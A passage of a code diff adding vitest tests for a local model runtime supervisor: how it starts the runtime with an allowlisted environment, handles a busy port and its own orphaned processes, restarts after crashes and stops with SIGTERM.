+    expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
+  });
+
+  it('is idle for a file that does not parse', async () => {
+    writeFileSync(FILE(), 'not json');
+    expect(await readLocalModelState()).toBe(IDLE_LOCAL_MODEL_STATE);
+  });
+
+  it('reads what is stored', async () => {
+    writeFileSync(FILE(), JSON.stringify(INSTALLED));
+    expect(await readLocalModelState()).toEqual(INSTALLED);
+  });
+});
+
+describe('mutateLocalModelState', () => {
+  it('writes the returned state, stamps updatedAt, and answers with before and after', async () => {
+    const { updatedAt: _stamp, ...paused } = PAUSED;
+    const { before, after } = await mutateLocalModelState(() => paused);
+    expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
+    expect(after).toMatchObject(paused);
+    expect(Number.isNaN(Date.parse(after!.updatedAt!))).toBe(false);
+    expect(await readLocalModelState()).toEqual(after);
+  });
+
+  it('writes nothing when the change returns undefined: no file appears', async () => {
+    const { before, after } = await mutateLocalModelState(() => undefined);
+    expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
+    expect(after).toBeUndefined();
+    expect(existsSync(FILE())).toBe(false);
+  });
+
+  it('the file is mode 0600 and no temp file is left beside it', async () => {
+    await mutateLocalModelState(() => PAUSED);
+    expect(statSync(FILE()).mode & 0o777).toBe(0o600);
+    expect(readdirSync(dirname(FILE())).filter((name) => name.startsWith('local-model.json'))).toEqual([
+      'local-model.json',
+    ]);
+  });
+
+  it('changes started together run one after the other: none is lost', async () => {
+    await mutateLocalModelState(() => PAUSED);
+    const add = (bytes: number) =>
+      mutateLocalModelState((current) => ({
+        ...current,
+        progress: {
+          completedBytes: (current.progress?.completedBytes ?? 0) + bytes,
+          totalBytes: 23_105_798_956,
+        },
+      }));
+    await Promise.all(Array.from({ length: 10 }, () => add(1_000)));
+    expect((await readLocalModelState()).progress?.completedBytes).toBe(6_200_000_000 + 10_000);
+  });
+
+  it('a change that throws rejects its own caller and the next one still runs', async () => {
+    const thrown = mutateLocalModelState(() => {
+      throw new Error('boom');
+    });
+    const next = mutateLocalModelState(() => PAUSED);
+    await expect(thrown).rejects.toThrow('boom');
+    expect((await next).after).toMatchObject({ state: 'paused' });
+  });
+
+  it('replaces a file that does not parse: it holds nothing of the person to lose', async () => {
+    writeFileSync(FILE(), '{broken');
+    const { before } = await mutateLocalModelState(() => PAUSED);
+    expect(before).toBe(IDLE_LOCAL_MODEL_STATE);
+    expect(JSON.parse(readFileSync(FILE(), 'utf8'))).toMatchObject({ schema: 1, state: 'paused' });
+  });
+});

test/local-model-supervisor.test.ts

@@ -0,0 +1,905 @@
+/**
+ * @fileoverview Tests for the supervisor of src/local-model/runtime.ts: how Codeman starts,
+ * watches, restarts and stops its model runtime.
+ *
+ * Nothing real runs here. The child process is the fake of test/fixtures/fake-ollama.ts
+ * (`fake.spawn`): "starting" it makes the fake listen on the port of `OLLAMA_HOST` and write
+ * the runtime's start-up log, and killing it closes that listener.
+ *
+ * Pinned:
+ *  - Start: one non-detached child, `<runtime folder>/ollama serve`, with the allowlisted
+ *    environment; it is ready when `/api/version` answers the pinned version; the device total
+ *    of its log is reported as the measured budget.
+ *  - The port: a listener that is not ours is `port-in-use` and is never signalled; our own
+ *    orphan (the stored pid runs a binary under our runtime folder) is adopted when it holds a
+ *    loaded model at the wanted context, and replaced otherwise.
+ *  - A child that exits by itself is restarted at most 3 times, then given up.
+ *  - Stop: SIGTERM, and nothing is restarted afterwards.
+ *  - Under vitest nothing spawns unless the test injects it.
+ *
+ * Port: none fixed (each test reserves a free loopback port).
+ */
+
+import { existsSync } from 'node:fs';
+import { rm } from 'node:fs/promises';
+import { createServer, type Server } from 'node:net';
+import type { ChildProcess, SpawnOptions } from 'node:child_process';
+import { afterEach, beforeEach, describe, expect, it } from 'vitest';
+import { localModelPaths, runtimeBinaryForVersion, type LocalModelPaths } from '../src/local-model/paths.js';
+import {
+  createRuntimeSupervisor,
+  RUNTIME_MAX_RESTARTS,
+  type RuntimeStatus,
+  type RuntimeSupervisor,
+  type RuntimeSupervisorDeps,
+} from '../src/local-model/runtime.js';
+import {
+  createFakeOllama,
+  FakeRuntimeChild,
+  freeLoopbackPort,
+  startFakeOllama,
+  type FakeOllama,
+  type FakeOllamaOptions,
+} from './fixtures/fake-ollama.js';
+
+const CONTEXT = 131072;
+/** A pid of an "earlier server's" runtime. Above every real pid, like the fake's own. */
+const ORPHAN_PID = 9_800_000;
+
+let paths: LocalModelPaths;
+let port: number;
+const fakes: FakeOllama[] = [];
+const supervisors: RuntimeSupervisor[] = [];
+const servers: Server[] = [];
+
+beforeEach(async () => {
+  paths = localModelPaths('0.40.15');
+  port = await freeLoopbackPort();
+});
+
+afterEach(async () => {
+  for (const supervisor of supervisors.splice(0)) await supervisor.stop();
+  for (const fake of fakes.splice(0)) await fake.close();
+  for (const server of servers.splice(0)) await new Promise<void>((resolve) => server.close(() => resolve()));
+  await rm(paths.root, { recursive: true, force: true });
+});
+
+/** A fake runtime that does not listen until it is "spawned". */
+function fakeRuntime(options: FakeOllamaOptions = {}): FakeOllama {
+  const fake = createFakeOllama(options);
+  fakes.push(fake);
+  return fake;
+}
+
+/** The children the fake has spawned so far. */
+function children(fake: FakeOllama): FakeRuntimeChild[] {
+  return fake.state.children;
+}
+
+interface Harness {
+  supervisor: RuntimeSupervisor;
+  /** Every status `onChange` was called with. */
+  changes: RuntimeStatus[];
+  /** Every wait the supervisor asked for. */
+  waits: number[];
+  /** Every signal sent to a pid that is not our child. */
+  kills: [number, NodeJS.Signals][];
+}
+
+/** A supervisor whose child is `fake`. Waits are instant unless a test passes its own `sleep`. */
+function supervise(fake: FakeOllama, overrides: Partial<RuntimeSupervisorDeps> = {}): Harness {
+  const changes: RuntimeStatus[] = [];
+  const waits: number[] = [];
+  const kills: [number, NodeJS.Signals][] = [];
+  const supervisor = createRuntimeSupervisor({
+    spawn: fake.spawn,
+    fetch,
+    env: { PATH: '/usr/bin:/bin' },
+    pin: fake.pin(),
+    paths,
+    sleep: async (ms) => {
+      waits.push(ms);
+    },
+    commandOfPid: async () => undefined,
+    kill: (pid, signal) => {
+      kills.push([pid, signal]);
+    },
+    onChange: (status) => changes.push(status),
+    startTimeoutMs: 3_000,
+    budgetWaitMs: 500,
+    ...overrides,
+  });
+  supervisors.push(supervisor);
+  return { supervisor, changes, waits, kills };
+}
+
+/** Waits until `check()` is true. Fails the test when it never is. */
+async function until(check: () => boolean, what: string, timeoutMs = 3_000): Promise<void> {
+  const deadline = Date.now() + timeoutMs;
+  while (!check()) {
+    if (Date.now() > deadline) throw new Error(`Timed out waiting for: ${what}`);
+    await new Promise((resolve) => setTimeout(resolve, 5));
+  }
+}
+
+/** The command line `ps` would print for a runtime of ours. */
+function ownCommand(): string {
+  return `${paths.binary} serve`;
+}
+
+// ---------- Start ----------
+
+describe('start', () => {
+  it('starts one child, the runtime binary with "serve", and answers once it is up', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+
+    expect(children(fake)).toHaveLength(1);
+    const child = children(fake)[0];
+    expect(child.command).toBe(paths.binary);
+    expect(child.args).toEqual(['serve']);
+    expect(result).toEqual({
+      ok: true,
+      pid: child.pid,
+      port,
+      orphan: 'none',
+      // 37.4 GiB, read from the child's log line "inference compute".
+      measuredTotalBytes: 40_157_944_217,
+    });
+    expect(supervisor.status()).toEqual({
+      running: true,
+      pid: child.pid,
+      port,
+      contextLength: CONTEXT,
+      measuredTotalBytes: 40_157_944_217,
+      restarts: 0,
+      gaveUp: false,
+    });
+    expect(fake.port).toBe(port);
+  });
+
+  it('starts the child non-detached, with pipes, in the private home', async () => {
+    const fake = fakeRuntime();
+    const seen: SpawnOptions[] = [];
+    const { supervisor } = supervise(fake, {
+      spawn: (command, args, options) => {
+        seen.push(options);
+        return fake.spawn(command, args, options);
+      },
+    });
+    await supervisor.start({ port, contextLength: CONTEXT });
+    expect(seen).toHaveLength(1);
+    expect(seen[0].detached).toBe(false);
+    expect(seen[0].stdio).toEqual(['ignore', 'pipe', 'pipe']);
+    expect(seen[0].cwd).toBe(paths.homeDir);
+    expect(seen[0]).not.toHaveProperty('shell');
+    // The folders it needs exist before it starts.
+    expect(existsSync(paths.homeDir)).toBe(true);
+    expect(existsSync(paths.modelsDir)).toBe(true);
+  });
+
+  it('gives the child the allowlisted environment and nothing of the server beyond it', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake, {
+      env: {
+        PATH: '/usr/bin:/bin',
+        HOME: '/Users/arkon',
+        LANG: 'en_US.UTF-8',
+        CODEMAN_PASSWORD: 'hunter2',
+        CODEMAN_API_URL: 'http://127.0.0.1:3000',
+        OLLAMA_ORIGINS: '*',
+        OLLAMA_HOST: '0.0.0.0:11434',
+        OLLAMA_KEEP_ALIVE: '-1',
+        ANTHROPIC_API_KEY: 'sk-ant-secret',
+      },
+    });
+    await supervisor.start({ port, contextLength: 65536 });
+    expect(children(fake)[0].env).toEqual({
+      PATH: '/usr/bin:/bin',
+      LANG: 'en_US.UTF-8',
+      HOME: paths.homeDir,
+      OLLAMA_HOST: `127.0.0.1:${port}`,
+      OLLAMA_MODELS: paths.modelsDir,
+      OLLAMA_CONTEXT_LENGTH: '65536',
+      OLLAMA_NO_CLOUD: '1',
+      OLLAMA_KEEP_ALIVE: '10m',
+      OLLAMA_NUM_PARALLEL: '1',
+      OLLAMA_MAX_LOADED_MODELS: '1',
+    });
+  });
+
+  it('reads the budget the child logs, whatever the Mac', async () => {
+    const fake = fakeRuntime({ spawn: { total: '11.8 GiB' } });
+    const { supervisor } = supervise(fake);
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(result).toMatchObject({ ok: true, measuredTotalBytes: 12_670_153_523 });
+    expect(supervisor.status().measuredTotalBytes).toBe(12_670_153_523);
+  });
+
+  it('still starts when the child prints no budget line, and reports none', async () => {
+    const fake = fakeRuntime({ spawn: { logsBudget: false } });
+    const { supervisor } = supervise(fake, { budgetWaitMs: 60 });
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(result).toMatchObject({ ok: true, port });
+    expect(result).not.toHaveProperty('measuredTotalBytes');
+    expect(supervisor.status()).not.toHaveProperty('measuredTotalBytes');
+    expect(supervisor.status().running).toBe(true);
+  });
+
+  it('is idempotent: a child that already runs as asked is kept', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    const first = await supervisor.start({ port, contextLength: CONTEXT });
+    const second = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(second).toEqual(first);
+    expect(children(fake)).toHaveLength(1);
+    expect(children(fake)[0].signals).toEqual([]);
+  });
+
+  it('replaces a child that runs with another context length', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+    const result = await supervisor.start({ port, contextLength: 65536 });
+    expect(result).toMatchObject({ ok: true, orphan: 'none' });
+    expect(children(fake)).toHaveLength(2);
+    // The first got SIGTERM; the second runs with the new context.
+    expect(children(fake)[0].signals).toEqual(['SIGTERM']);
+    expect(children(fake)[1].env.OLLAMA_CONTEXT_LENGTH).toBe('65536');
+    expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[1].pid, contextLength: 65536 });
+    // Replacing on purpose is not a crash.
+    expect(supervisor.status().restarts).toBe(0);
+  });
+
+  it('runs two starts one after the other, never two children at once', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    const [a, b] = await Promise.all([
+      supervisor.start({ port, contextLength: CONTEXT }),
+      supervisor.start({ port, contextLength: CONTEXT }),
+    ]);
+    expect(a).toMatchObject({ ok: true });
+    expect(b).toEqual(a);
+    expect(children(fake)).toHaveLength(1);
+  });
+
+  it('refuses a port or a context length that is none, without starting anything', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    for (const bad of [0, -1, 70_000, 1.5, Number.NaN]) {
+      expect(await supervisor.start({ port: bad, contextLength: CONTEXT }), String(bad)).toMatchObject({
+        ok: false,
+        code: 'runtime-start-failed',
+      });
+    }
+    for (const bad of [0, -5, 1.5, Number.NaN]) {
+      expect(await supervisor.start({ port, contextLength: bad }), String(bad)).toMatchObject({
+        ok: false,
+        code: 'runtime-start-failed',
+      });
+    }
+    expect(children(fake)).toHaveLength(0);
+  });
+
+  it('tells its caller every change, and survives a caller that throws', async () => {
+    const fake = fakeRuntime();
+    const seen: RuntimeStatus[] = [];
+    const { supervisor } = supervise(fake, {
+      onChange: (status) => {
+        seen.push(status);
+        throw new Error('the state file is read-only');
+      },
+    });
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(result).toMatchObject({ ok: true });
+    // The caller stores pid and port from this.
+    expect(seen.at(-1)).toMatchObject({ running: true, pid: children(fake)[0].pid, port, contextLength: CONTEXT });
+    await supervisor.stop();
+    expect(seen.at(-1)).toEqual({ running: false, restarts: 0, gaveUp: false });
+  });
+
+  it('hands out a copy of its status', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+    const status = supervisor.status();
+    status.running = false;
+    status.pid = 1;
+    expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[0].pid });
+  });
+
+  it("writes no state file: storing pid and port is the caller's business", async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+    await supervisor.stop();
+    expect(existsSync(paths.stateFile)).toBe(false);
+  });
+});
+
+// ---------- A start that fails ----------
+
+describe('a start that fails', () => {
+  it('answers runtime-start-failed when the child never answers, and does not leave it running', async () => {
+    const fake = fakeRuntime({ spawn: { neverListens: true } });
+    const { supervisor } = supervise(fake, { startTimeoutMs: 150 });
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
+    const detail = (result as { detail?: string }).detail ?? '';
+    expect(detail).toContain('did not answer');
+    // The last lines of its log are the detail.
+    expect(detail).toContain('Listening on');
+    expect(children(fake)).toHaveLength(1);
+    expect(children(fake)[0].signals).toEqual(['SIGTERM']);
+    expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
+  });
+
+  it('answers runtime-start-failed when the child exits at once, with what it printed', async () => {
+    const fake = fakeRuntime({ spawn: { exitsAtOnce: 2 } });
+    const { supervisor } = supervise(fake);
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
+    const detail = (result as { detail?: string }).detail ?? '';
+    expect(detail).toContain('exited with code 2');
+    expect(detail).toContain('address already in use');
+    // A start that failed is not a crash to recover from: nothing is started again.
+    await new Promise((resolve) => setTimeout(resolve, 50));
+    expect(children(fake)).toHaveLength(1);
+    expect(supervisor.status()).toMatchObject({ running: false, restarts: 0, gaveUp: false });
+  });
+
+  it('answers runtime-start-failed when a runtime of another version answers', async () => {
+    const fake = fakeRuntime({ version: '0.39.2' });
+    const { supervisor } = supervise(fake, { pin: { ...fake.pin(), version: '0.40.15' } });
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
+    expect((result as { detail?: string }).detail).toContain('0.39.2');
+    expect(children(fake)[0].signals).toEqual(['SIGTERM']);
+  });
+
+  it('answers runtime-start-failed when the binary cannot be started at all', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake, {
+      spawn: () => {
+        throw new Error('spawn EACCES');
+      },
+    });
+    expect(await supervisor.start({ port, contextLength: CONTEXT })).toEqual({
+      ok: false,
+      code: 'runtime-start-failed',
+      detail: 'spawn EACCES',
+    });
+  });
+
+  it('spawns nothing under vitest unless the test injects a spawn', async () => {
+    // No `spawn` and no `fetch` given: the defaults refuse here.
+    const supervisor = createRuntimeSupervisor({ paths, startTimeoutMs: 200 });
+    supervisors.push(supervisor);
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    // The refusal itself, not a failed attempt to run a binary that is not there.
+    expect(result).toEqual({
+      ok: false,
+      code: 'runtime-start-failed',
+      detail: 'spawn is not available under vitest: the test must inject its own',
+    });
+    expect(supervisor.status().running).toBe(false);
+  });
+
+  it('gives up a start at once when stop is called while it waits', async () => {
+    const fake = fakeRuntime({ spawn: { neverListens: true } });
+    const { supervisor } = supervise(fake, {
+      startTimeoutMs: 20_000,
+      sleep: () => new Promise((resolve) => setTimeout(resolve, 10)),
+    });
+    const starting = supervisor.start({ port, contextLength: CONTEXT });
+    await until(() => children(fake).length === 1, 'the child to be spawned');
+    const began = Date.now();
+    await supervisor.stop();
+    const result = await starting;
+    expect(result).toMatchObject({ ok: false, code: 'runtime-start-failed' });
+    // Not after the 20 seconds a start may take.
+    expect(Date.now() - began).toBeLessThan(5_000);
+    expect(children(fake)[0].signals).toEqual(['SIGTERM']);
+    expect(supervisor.status().running).toBe(false);
+  });
+});
+
+// ---------- The port ----------
+
+describe('the port', () => {
+  /** A runtime that listens on `port` already, as an earlier server's would. */
+  async function listeningRuntime(options: FakeOllamaOptions = {}): Promise<FakeOllama> {
+    const other = createFakeOllama(options);
+    fakes.push(other);
+    await other.listen(port);
+    return other;
+  }
+
+  it('answers port-in-use for a runtime that is not ours, and does not touch it', async () => {
+    // The user's own runtime on our port. No pid of ours is stored.
+    const theirs = await listeningRuntime();
+    const fake = fakeRuntime();
+    const { supervisor, kills } = supervise(fake);
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    // Told apart from any other program on the port: it answers as a runtime, and is not ours.
+    expect(result).toEqual({
+      ok: false,
+      code: 'port-in-use',
+      detail: `A model runtime that Codeman did not start answers on port ${port} (version 0.40.15)`,
+    });
+    expect(children(fake)).toHaveLength(0);
+    expect(kills).toEqual([]);
+    expect(theirs.listening).toBe(true);
+    expect(supervisor.status().running).toBe(false);
+  });
+
+  it('answers port-in-use when the stored pid now runs something else', async () => {
+    const theirs = await listeningRuntime();
+    const fake = fakeRuntime();
+    const { supervisor, kills } = supervise(fake, {
+      // The pid was reused, or it is a runtime outside our folder.
+      commandOfPid: async () => '/usr/local/bin/ollama serve',
+    });
+    const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
+    expect(result).toMatchObject({ ok: false, code: 'port-in-use' });
+    expect(kills).toEqual([]);
+    expect(theirs.listening).toBe(true);
+    expect(children(fake)).toHaveLength(0);
+  });
+
+  it('answers port-in-use for a listener that is no runtime at all', async () => {
+    // Some other program: it takes the connection and hangs up.
+    const holder = createServer((socket) => socket.destroy());
+    servers.push(holder);
+    await new Promise<void>((resolve) => holder.listen(port, '127.0.0.1', () => resolve()));
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake);
+    expect(await supervisor.start({ port, contextLength: CONTEXT })).toEqual({
+      ok: false,
+      code: 'port-in-use',
+      detail: `Another program holds port ${port}`,
+    });
+    expect(children(fake)).toHaveLength(0);
+  });
+
+  it('ADOPTS its own orphan when that holds a loaded model at the wanted context', async () => {
+    const orphan = await listeningRuntime({ installed: true });
+    orphan.state.loaded = true;
+    let gone = false;
+    const fake = fakeRuntime();
+    const { supervisor, kills, changes } = supervise(fake, {
+      commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
+    });
+    const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
+    // Kept as it is: nothing spawned, nothing signalled, the loaded model stays loaded.
+    expect(result).toEqual({ ok: true, pid: ORPHAN_PID, port, orphan: 'adopted' });
+    expect(children(fake)).toHaveLength(0);
+    expect(kills).toEqual([]);
+    expect(orphan.listening).toBe(true);
+    // Its log is not ours to read, so there is no measured budget.
+    expect(supervisor.status()).toEqual({
+      running: true,
+      pid: ORPHAN_PID,
+      port,
+      contextLength: CONTEXT,
+      restarts: 0,
+      gaveUp: false,
+    });
+    expect(changes.at(-1)).toMatchObject({ running: true, pid: ORPHAN_PID });
+    // So that the stop after this test finds it gone and does not wait out its grace period.
+    gone = true;
+  });
+
+  it('stops an adopted orphan by its pid', async () => {
+    const orphan = await listeningRuntime({ installed: true });
+    orphan.state.loaded = true;
+    let gone = false;
+    const fake = fakeRuntime();
+    const { supervisor, kills } = supervise(fake, {
+      commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
+      kill: (pid, signal) => {
+        kills.push([pid, signal]);
+        gone = true;
+      },
+    });
+    await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
+    await supervisor.stop();
+    expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
+    expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
+  });
+
+  /** Starts with an orphan on the port that is ours and goes away when it is signalled. */
+  async function startOverOrphan(orphanOptions: FakeOllamaOptions, loaded: boolean) {
+    const orphan = await listeningRuntime(orphanOptions);
+    orphan.state.loaded = loaded;
+    let gone = false;
+    const fake = fakeRuntime();
+    const harness = supervise(fake, {
+      commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
+      kill: (pid, signal) => {
+        harness.kills.push([pid, signal]);
+        gone = true;
+        void orphan.close();
+      },
+    });
+    const result = await harness.supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
+    return { orphan, fake, result, ...harness };
+  }
+
+  it('REPLACES its own orphan when that has no model loaded: nothing is lost, and the budget is read again', async () => {
+    const { orphan, fake, result, kills, supervisor } = await startOverOrphan({ installed: true }, false);
+    expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
+    expect(orphan.listening).toBe(false);
+    expect(children(fake)).toHaveLength(1);
+    expect(result).toEqual({
+      ok: true,
+      pid: children(fake)[0].pid,
+      port,
+      orphan: 'replaced',
+      measuredTotalBytes: 40_157_944_217,
+    });
+    expect(supervisor.status()).toMatchObject({ running: true, pid: children(fake)[0].pid });
+  });
+
+  it('replaces its own orphan when the model is loaded at another context', async () => {
+    const { fake, result, kills } = await startOverOrphan({ installed: true, contextLength: 32768 }, true);
+    expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
+    expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
+    expect(children(fake)[0].env.OLLAMA_CONTEXT_LENGTH).toBe(String(CONTEXT));
+  });
+
+  it('replaces its own orphan when it is another version than the pinned one', async () => {
+    const { fake, result, kills } = await startOverOrphan({ installed: true, version: '0.39.2' }, true);
+    expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
+    expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
+    expect(children(fake)).toHaveLength(1);
+  });
+
+  it('replaces its own orphan that no longer answers, and starts on the free port', async () => {
+    // The stored pid is a runtime of ours, but nothing listens on the port.
+    let gone = false;
+    const fake = fakeRuntime();
+    const { supervisor, kills } = supervise(fake, {
+      commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
+      kill: (pid, signal) => {
+        kills.push([pid, signal]);
+        gone = true;
+      },
+    });
+    const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
+    expect(result).toMatchObject({ ok: true, orphan: 'replaced' });
+    expect(kills).toEqual([[ORPHAN_PID, 'SIGTERM']]);
+  });
+
+  it('never signals a pid whose command is not under our runtime folder', async () => {
+    for (const command of [
+      '/usr/local/bin/ollama serve',
+      `${paths.runtimeRoot}-other/ollama serve`,
+      `/bin/sh -c ${paths.binary} serve`,
+      undefined,
+    ]) {
+      const fake = fakeRuntime();
+      const { supervisor, kills } = supervise(fake, { commandOfPid: async () => command });
+      const result = await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID });
+      expect(result, String(command)).toMatchObject({ ok: true, orphan: 'none' });
+      expect(kills, String(command)).toEqual([]);
+      await supervisor.stop();
+    }
+  });
+
+  it('takes over from an adopted orphan that dies: the next runtime is a child of its own', async () => {
+    const orphan = await listeningRuntime({ installed: true });
+    orphan.state.loaded = true;
+    let gone = false;
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake, {
+      commandOfPid: async (pid) => (pid === ORPHAN_PID && !gone ? ownCommand() : undefined),
+      orphanPollMs: 15,
+    });
+    expect(await supervisor.start({ port, contextLength: CONTEXT, previousPid: ORPHAN_PID })).toMatchObject({
+      orphan: 'adopted',
+    });
+    // The orphan dies by itself.
+    await orphan.close();
+    gone = true;
+    await until(() => children(fake).length === 1 && supervisor.status().running, 'a child of our own to run');
+    expect(supervisor.status()).toMatchObject({
+      running: true,
+      pid: children(fake)[0].pid,
+      port,
+      restarts: 1,
+      measuredTotalBytes: 40_157_944_217,
+    });
+  });
+});
+
+// ---------- Restart ----------
+
+describe('a child that exits by itself', () => {
+  it('is started again, with the same port and context', async () => {
+    const fake = fakeRuntime();
+    const { supervisor, waits, changes } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+    const first = children(fake)[0];
+
+    first.crash(1);
+    await until(() => children(fake).length === 2 && supervisor.status().running, 'the runtime to run again');
+
+    const second = children(fake)[1];
+    expect(second.env.OLLAMA_HOST).toBe(`127.0.0.1:${port}`);
+    expect(second.env.OLLAMA_CONTEXT_LENGTH).toBe(String(CONTEXT));
+    expect(supervisor.status()).toMatchObject({ running: true, pid: second.pid, restarts: 1, gaveUp: false });
+    // It waited a second before starting it again.
+    expect(waits).toContain(1000);
+    // The caller was told that it stopped, and that it runs again.
+    const running = changes.map((status) => status.running);
+    expect(running.indexOf(false, running.indexOf(true))).toBeGreaterThan(0);
+    expect(running.at(-1)).toBe(true);
+    // Nobody signalled the one that crashed.
+    expect(first.signals).toEqual([]);
+  });
+
+  it('is started again at most 3 times, then given up', async () => {
+    expect(RUNTIME_MAX_RESTARTS).toBe(3);
+    const fake = fakeRuntime();
+    const { supervisor, changes } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+
+    for (let crash = 1; crash <= 3; crash++) {
+      children(fake).at(-1)?.crash(1);
+      await until(() => children(fake).length === crash + 1 && supervisor.status().running, `restart number ${crash}`);
+      expect(supervisor.status()).toMatchObject({ running: true, restarts: crash, gaveUp: false });
+    }
+
+    // The fourth exit is one too many.
+    children(fake).at(-1)?.crash(1);
+    await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
+    expect(supervisor.status()).toEqual({
+      running: false,
+      port,
+      contextLength: CONTEXT,
+      measuredTotalBytes: 40_157_944_217,
+      restarts: 3,
+      gaveUp: true,
+    });
+    // The first child and three restarts, and no fifth.
+    await new Promise((resolve) => setTimeout(resolve, 60));
+    expect(children(fake)).toHaveLength(4);
+    expect(changes.at(-1)).toMatchObject({ running: false, gaveUp: true, restarts: 3 });
+  });
+
+  it('counts a restart that does not come up as one of the three', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake, { startTimeoutMs: 100 });
+    await supervisor.start({ port, contextLength: CONTEXT });
+    // From now on the runtime exits as soon as it is started.
+    fake.switches.spawn.exitsAtOnce = 1;
+    children(fake)[0].crash(1);
+    await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
+    expect(children(fake)).toHaveLength(4);
+    expect(supervisor.status()).toMatchObject({ running: false, restarts: 3, gaveUp: true });
+  });
+
+  it('starts counting again after a start that was asked for', async () => {
+    const fake = fakeRuntime();
+    const { supervisor } = supervise(fake, { startTimeoutMs: 100 });
+    await supervisor.start({ port, contextLength: CONTEXT });
+    fake.switches.spawn.exitsAtOnce = 1;
+    children(fake)[0].crash(1);
+    await until(() => supervisor.status().gaveUp, 'the supervisor to give up');
+
+    // The person presses Start: it runs again, and the count is back at 0.
+    fake.switches.spawn.exitsAtOnce = undefined;
+    const result = await supervisor.start({ port, contextLength: CONTEXT });
+    expect(result).toMatchObject({ ok: true, orphan: 'none' });
+    expect(supervisor.status()).toMatchObject({ running: true, restarts: 0, gaveUp: false });
+  });
+
+  it('is not started again once stop was called, also while it waits to restart', async () => {
+    const fake = fakeRuntime();
+    let release: () => void = () => undefined;
+    const { supervisor } = supervise(fake, {
+      // The wait before a restart does not end by itself; the polls of a start still do.
+      sleep: (ms) =>
+        ms === 1000
+          ? new Promise<void>((resolve) => {
+              release = resolve;
+            })
+          : Promise.resolve(),
+    });
+    await supervisor.start({ port, contextLength: CONTEXT });
+    children(fake)[0].crash(1);
+    await until(() => supervisor.status().restarts === 1, 'the restart to be scheduled');
+
+    const stopping = supervisor.stop();
+    release();
+    await stopping;
+    await new Promise((resolve) => setTimeout(resolve, 50));
+    expect(children(fake)).toHaveLength(1);
+    expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
+  });
+});
+
+// ---------- Stop ----------
+
+describe('stop', () => {
+  it('sends the child SIGTERM and resolves once it is gone', async () => {
+    const fake = fakeRuntime();
+    const { supervisor, changes } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+    const child = children(fake)[0];
+
+    await supervisor.stop();
+
+    expect(child.signals).toEqual(['SIGTERM']);
+    expect(child.signalCode).toBe('SIGTERM');
+    // Gone, and the port is free again.
+    expect(fake.listening).toBe(false);
+    await expect(fetch(`http://127.0.0.1:${port}/api/version`)).rejects.toThrow();
+    expect(supervisor.status()).toEqual({ running: false, restarts: 0, gaveUp: false });
+    expect(changes.at(-1)).toEqual({ running: false, restarts: 0, gaveUp: false });
+  });
+
+  it('does not take the stop for a crash: nothing is started again', async () => {
+    const fake = fakeRuntime();
+    const { supervisor, waits } = supervise(fake);
+    await supervisor.start({ port, contextLength: CONTEXT });
+    await supervisor.stop();
+    await new Promise((resolve) => setTimeout(resolve, 60));
+    expect(children(fake)).toHaveLength(1);
+    expect(waits).not.toContain(1000);
+  });
+
